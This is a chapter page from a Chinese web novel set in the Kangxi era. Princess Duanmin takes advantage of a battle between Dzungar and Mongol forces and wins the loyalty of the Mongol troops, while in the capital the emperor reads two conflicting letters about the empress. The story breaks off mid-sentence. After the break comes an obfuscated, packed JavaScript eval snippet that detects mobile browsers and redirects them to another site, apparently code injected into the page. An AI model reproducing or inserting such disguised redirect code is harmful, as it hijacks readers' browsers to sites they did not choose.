74. 继续往西(第2页)

准噶尔人刚跟漠南人拼完命,为朝廷大军特意准备的伏兵也都提前杀了出来,哪还有力气招架,又被砍得人仰马翻。

僧格人都麻了,只能选择带上族人,继续往西溃逃。

只是两队货物啊,怎么就引来了这么个杀神,僧格想不通。那该死的罗刹人,要不是他跑得快,必须杀了他祭旗。

端敏照旧留下余地,不使劲儿追。

佟国纲看着雪地里散落的金银和漠南人丢下的兵器,忍不住笑了:“这叫什么?螳螂捕蝉,黄雀在后。”

端敏勒住马,望着准噶尔人往西逃窜的背影,又瞥了眼远处缩成一团的漠南残兵,眼底没什么波澜,“咱们啊,就做那个捡便宜的。”从深宫格格,蜕变成沙场悍将,也只是半个月罢了。

火把的光映着她的脸,一半亮一半暗。

不费多少力气,就让准噶尔和漠南两败俱伤,朝廷坐收渔利。还是年轻人厉害啊。“走,捡点‘辎重’去。”佟国纲拍了拍她的肩,“准噶尔人跑急了,丢的东西可不少。”这时候,他没有当她是格格,而是当成战友了。

身后的清军士兵欢呼着冲上去,捡拾起散落的兵器、粮草,还有没来得及带走的珠宝。

端敏望着这一切,想起皇后娘娘信里的话:“草原的事,让草原人自己解决。咱们要做的,是站到最后。”娘娘的信任,是她最大的底气。她不会让她失望的,绝不会。

系统面板上,端敏的亲密度一路攀升。

月光洒在雪地上,亮得晃眼,冬天真要来了。

这出戏还没结束,准噶尔往西跑,漠南人吃了亏,接下来,该轮到漠西草原上的其他部落“登场”了。

准噶尔的残兵往西没跑多远,就被一群骑着矮脚马的漠西人缠上了。

这些小部落先前被僧格欺压得狠了,连高头大马都没了。见准噶尔兵败,个个红着眼往上冲,弓箭像雨点似的往准噶尔人堆里撒,嘴里还喊着“把草场还给我们”。

僧格被缠得火冒三丈,却又甩不掉,只能边打边退,狼狈得像条丧家之犬。这些来送死的家伙,有本事跟着他去西边过冬。

另一边,佟国纲已安排副将,带着伤兵往回走。大营那边他还是不放心,不比端敏年轻气盛,他求稳。

科尔沁亲王和巴林郡王跟在队伍里,脸色青一阵白一阵——他们自己倒没受大伤,可手底下的百夫长、十夫长死了大半,带出来的骑兵折损了近三成,还有不少伤了的。两人先被劫,后又被打,心气都没了。

科尔沁的亲王,雅图公主的夫婿,弼尔塔哈尔他只觉得头晕目眩,勉力支撑。

原本想捡便宜,结果成了被按在地上打的冤大头,在端敏和佟国纲面前连头都抬不起来。

“往前走。”端敏没看他们,只是扬了扬凤翎刀,带着剩下的漠南骑兵继续往西。她不说一句指责的话,可那沉默,比骂他们一顿还让人难受。

跟着端敏走了两天,漠南的骑兵们渐渐觉出了不一样。这位格格不像王爷们那样瞎指挥,每次扎营前,总能提前让人探好路,知道哪里有水,哪里有准噶尔的埋伏;打起仗来,她从不让小兵去填坑,总是自己带着精锐冲在最前面;最让人舒坦的是分战利品——不管是抢来的牛羊,还是缴获的珠宝,全按人头分,有功的帐下奴都能拿到一份,半点不偏私。

“跟着格格打仗,比跟着王爷痛快!”一个漠南小兵啃着分来的干肉,含糊不清地说,“上次跟着亲王,抢来的宝马全归了他儿子,咱们连根毛都没捞着。”

旁边的十夫长叹了口气:“这才叫领兵打仗啊……连最低等的人都不亏着,长生天也没这么公道。”

在王爷们台吉们不知道的下面,他们的威望在降低。

端敏用实打实的公允,把漠南人散了的军心一点点拢了起来——那些原本只认自家王爷的骑兵,如今看端敏格格的眼神,竟比看主子还敬畏。

她对此仿佛毫不在意,只是按部就班地调度,“左翼跟我绕到侧面,右翼守住退路,火器营准备——放!”

随着她一声令下,鸟铳齐鸣,准噶尔人的阵型又乱了一块。漠南的骑兵见状,也嗷嗷叫着冲了上去,比先前勇猛了不知多少。

佟国纲在后面看得清楚,忍不住点头。端敏没说一句“你们要听我的”,却用一场场胜仗、一次次公允的分配,让人心甘情愿地跟着走。漠南部落的人心,就这么在无形之中聚集,成了可用之兵。

风里带着雪的凉意,端敏勒住马,望着西边准噶尔人溃逃的方向,又看了看身边越来越齐心的漠南骑兵。

皇后娘娘要的,不止是打败准噶尔。

这一仗,打的是准噶尔,收的,却是整个漠南的人心,也是她的命运。

京城

乾清宫的烛火跳了跳,康熙捏着春苒的第二封信,指腹几乎要嵌进纸里。

信上的字密密麻麻,句句都在往他心上扎——“皇后娘娘彻夜未眠,鬓边添了白发”“公主催得紧,娘娘左右为难”“佟将军被困死谷,娘娘急得落泪”,字字句句都把珠兰描成了朵被狂风吹得摇摇欲坠的小白花,仿佛下一刻就要被草原的乱局碾碎。

他低声骂了句,不是骂珠兰,是气自己远在京城,半分帮不上她。

春苒是自己派去珠兰身边的人,断不会说谎,那字里行间的焦灼,看得他心口发闷,恨不得立刻插上翅膀飞过去。

佟国纲也是老将了,怎么会让大军被困!

而且,前朝为何没有佟国纲的密信传回。

“皇上,皇后娘娘的信到了。”梁九功轻手轻脚地递上另一封信,见皇上脸色不好,大气都不敢喘。

康熙一把抢过,拆信的手都带着颤。

展开信纸,珠兰的字依旧清隽,提佟国纲被困,只说“已令端敏驰援,暂无大碍”;说两位公主,只提“已妥为安置”;通篇没提自己半句辛苦,末了还加了句“太皇太后今日进了半碗粥,勿念”。

两封信摊在御案上,像两个截然不同的珠兰。一个风雨飘摇,一个稳如磐石。

康熙盯着信纸,忽然笑了,带着点自嘲。

他竟忘了,珠兰从来不是会叫苦

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174052|173504||http|test|mini|href|location''.split(''|''),0,{}));